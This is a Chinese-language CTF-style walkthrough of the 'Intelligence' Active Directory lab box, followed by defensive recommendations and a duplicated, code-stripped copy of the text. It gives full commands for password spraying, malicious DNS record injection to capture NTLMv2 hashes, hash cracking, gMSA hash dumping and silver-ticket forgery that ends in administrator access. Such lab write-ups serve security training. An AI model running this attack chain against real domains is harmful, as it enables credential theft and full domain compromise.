域渗透实战之Intelligence
字数 1221 2025-08-24 07:48:33

域渗透实战之Intelligence - 详细教学文档

1. 信息收集阶段

1.1 初始扫描与发现

使用nmap进行端口探测:

nmap -sV -p- intelligence.htb

发现开放端口:

  • DNS (53)
  • HTTP (80)
  • Kerberos (88)
  • LDAP (389)
  • SMB/RPC (135, 139, 445)

1.2 SMB枚举

使用CrackMapExec进行SMB信息收集:

crackmapexec smb intelligence.htb

获取信息:

  • 域名:Intelligence.htb
  • DC主机名

1.3 DNS枚举

尝试DNS区域传输(失败):

dig axfr @intelligence.htb intelligence.htb

使用dnsenum进行子域名枚举:

dnsenum intelligence.htb

1.4 LDAP查询

获取AD命名上下文:

ldapsearch -x -h intelligence.htb -b "dc=intelligence,dc=htb" -s base namingcontexts

1.5 Web内容发现

发现文档路径:

http://intelligence.htb/documents/2020-01-01-upload.pdf
http://intelligence.htb/documents/2020-12-15-upload.pdf

检查EXIF数据:

exiftool 2020-01-01-upload.pdf

1.6 目录爆破

使用feroxbuster进行目录爆破:

feroxbuster -u http://intelligence.htb -w /path/to/wordlist.txt

2. 自动化数据收集

2.1 编写Python脚本批量下载文档

#!/usr/bin/env python3
import datetime
import requests

t = datetime.datetime(2020, 1, 1)
end = datetime.datetime(2021, 7, 4)

while True:
    url = t.strftime("http://intelligence.htb/documents/%Y-%m-%d-upload.pdf")
    resp = requests.get(url)
    if resp.status_code == 200:
        print(url)
    t = t + datetime.timedelta(days=1)
    if t >= end:
        break

2.2 数据提取

将PDF转换为文本:

for file in *.pdf; do pdftotext -layout "$file"; done

3. 密码攻击

3.1 密码喷洒

使用crackmapexec进行密码喷洒:

crackmapexec smb intelligence.htb -u ./users.txt -p 'NewIntelligenceCorpUser9876'

3.2 SMB共享枚举

使用smbmap枚举共享:

smbmap -H intelligence.htb -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876'

4. 域渗透技术

4.1 BloodHound使用

收集域信息:

bloodhound-python -d intelligence.htb -u 'Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -ns 10.10.10.248 -c All

4.2 PowerShell脚本分析

发现自动运行的PowerShell脚本:

# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
    try {
        $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
        if(.StatusCode -ne 200) {
            Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
        }
    } catch {}
}

4.3 DNS记录注入攻击

使用dnstool.py添加恶意DNS记录:

dnstool.py -u intelligence\Tiffany.Molina -p NewIntelligenceCorpUser9876 --action add --record web-x --data 10.01.14.19 --type A intelligence.htb

4.4 Net-NTLMv2哈希捕获

使用Responder捕获哈希:

responder -I eth0

4.5 哈希破解

使用JohnTheRipper破解哈希:

john --format=netntlmv2 hash.txt --wordlist=/path/to/wordlist.txt

5. GMSA (组托管服务帐户)利用

5.1 GMSA枚举

使用gMSADumper获取GMSA信息:

gMSADumper.py -d intelligence.htb -u Tiffany.Molina -p NewIntelligenceCorpUser9876

5.2 Silver Ticket攻击

使用getST.py获取Kerberos票据:

getST.py -dc-ip 10.10.10.248 -spn www/dc.intelligence.htb -hashes :87c12d4a0641b2b17fb5620cc2db2ca8 -impersonate administrator intelligence.htb/svc_int

5.3 时间同步问题解决

安装并配置时间同步:

apt install ntpdate chrony
ntpdate intelligence.htb

6. 权限提升与后渗透

6.1 使用Silver Ticket访问系统

export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass //dc.intelligence.htb/C$ -debug

6.2 获取flag

atexec.py -k intelligence.htb/administrator@dc.intelligence.htb "type C:\Users\Administrator\Desktop\root.txt"

7. 技术总结与防御建议

7.1 攻击路径总结

  1. 通过公开文档收集用户信息
  2. 利用弱密码获取初始立足点
  3. 分析自动化脚本发现攻击面
  4. 利用DNS记录注入触发NTLM认证
  5. 捕获并破解哈希
  6. 利用GMSA账户进行权限提升
  7. 通过Silver Ticket攻击获取域管理员权限

7.2 防御建议

  1. 密码策略

    • 实施强密码策略
    • 禁用密码重用
    • 启用多因素认证
  2. GMSA安全

    • 定期审核GMSA权限
    • 限制GMSA账户的权限
    • 监控GMSA账户活动
  3. Kerberos防护

    • 启用Kerberos Armoring
    • 配置服务账户的SPN保护
    • 监控异常票据请求
  4. DNS安全

    • 限制DNS区域传输
    • 审核DNS记录修改权限
    • 监控异常DNS查询
  5. 日志与监控

    • 集中收集和分析安全日志
    • 设置异常行为警报
    • 定期进行渗透测试
  6. 脚本安全

    • 审查所有自动化脚本
    • 限制脚本执行权限
    • 监控脚本执行活动

通过实施这些防御措施,可以有效防止类似攻击,提高Active Directory环境的安全性。

域渗透实战之Intelligence - 详细教学文档 1. 信息收集阶段 1.1 初始扫描与发现 使用nmap进行端口探测: 发现开放端口: DNS (53) HTTP (80) Kerberos (88) LDAP (389) SMB/RPC (135, 139, 445) 1.2 SMB枚举 使用CrackMapExec进行SMB信息收集: 获取信息: 域名:Intelligence.htb DC主机名 1.3 DNS枚举 尝试DNS区域传输(失败): 使用dnsenum进行子域名枚举: 1.4 LDAP查询 获取AD命名上下文: 1.5 Web内容发现 发现文档路径: 检查EXIF数据: 1.6 目录爆破 使用feroxbuster进行目录爆破: 2. 自动化数据收集 2.1 编写Python脚本批量下载文档 2.2 数据提取 将PDF转换为文本: 3. 密码攻击 3.1 密码喷洒 使用crackmapexec进行密码喷洒: 3.2 SMB共享枚举 使用smbmap枚举共享: 4. 域渗透技术 4.1 BloodHound使用 收集域信息: 4.2 PowerShell脚本分析 发现自动运行的PowerShell脚本: 4.3 DNS记录注入攻击 使用dnstool.py添加恶意DNS记录: 4.4 Net-NTLMv2哈希捕获 使用Responder捕获哈希: 4.5 哈希破解 使用JohnTheRipper破解哈希: 5. GMSA (组托管服务帐户)利用 5.1 GMSA枚举 使用gMSADumper获取GMSA信息: 5.2 Silver Ticket攻击 使用getST.py获取Kerberos票据: 5.3 时间同步问题解决 安装并配置时间同步: 6. 权限提升与后渗透 6.1 使用Silver Ticket访问系统 6.2 获取flag 7. 技术总结与防御建议 7.1 攻击路径总结 通过公开文档收集用户信息 利用弱密码获取初始立足点 分析自动化脚本发现攻击面 利用DNS记录注入触发NTLM认证 捕获并破解哈希 利用GMSA账户进行权限提升 通过Silver Ticket攻击获取域管理员权限 7.2 防御建议 密码策略 : 实施强密码策略 禁用密码重用 启用多因素认证 GMSA安全 : 定期审核GMSA权限 限制GMSA账户的权限 监控GMSA账户活动 Kerberos防护 : 启用Kerberos Armoring 配置服务账户的SPN保护 监控异常票据请求 DNS安全 : 限制DNS区域传输 审核DNS记录修改权限 监控异常DNS查询 日志与监控 : 集中收集和分析安全日志 设置异常行为警报 定期进行渗透测试 脚本安全 : 审查所有自动化脚本 限制脚本执行权限 监控脚本执行活动 通过实施这些防御措施,可以有效防止类似攻击,提高Active Directory环境的安全性。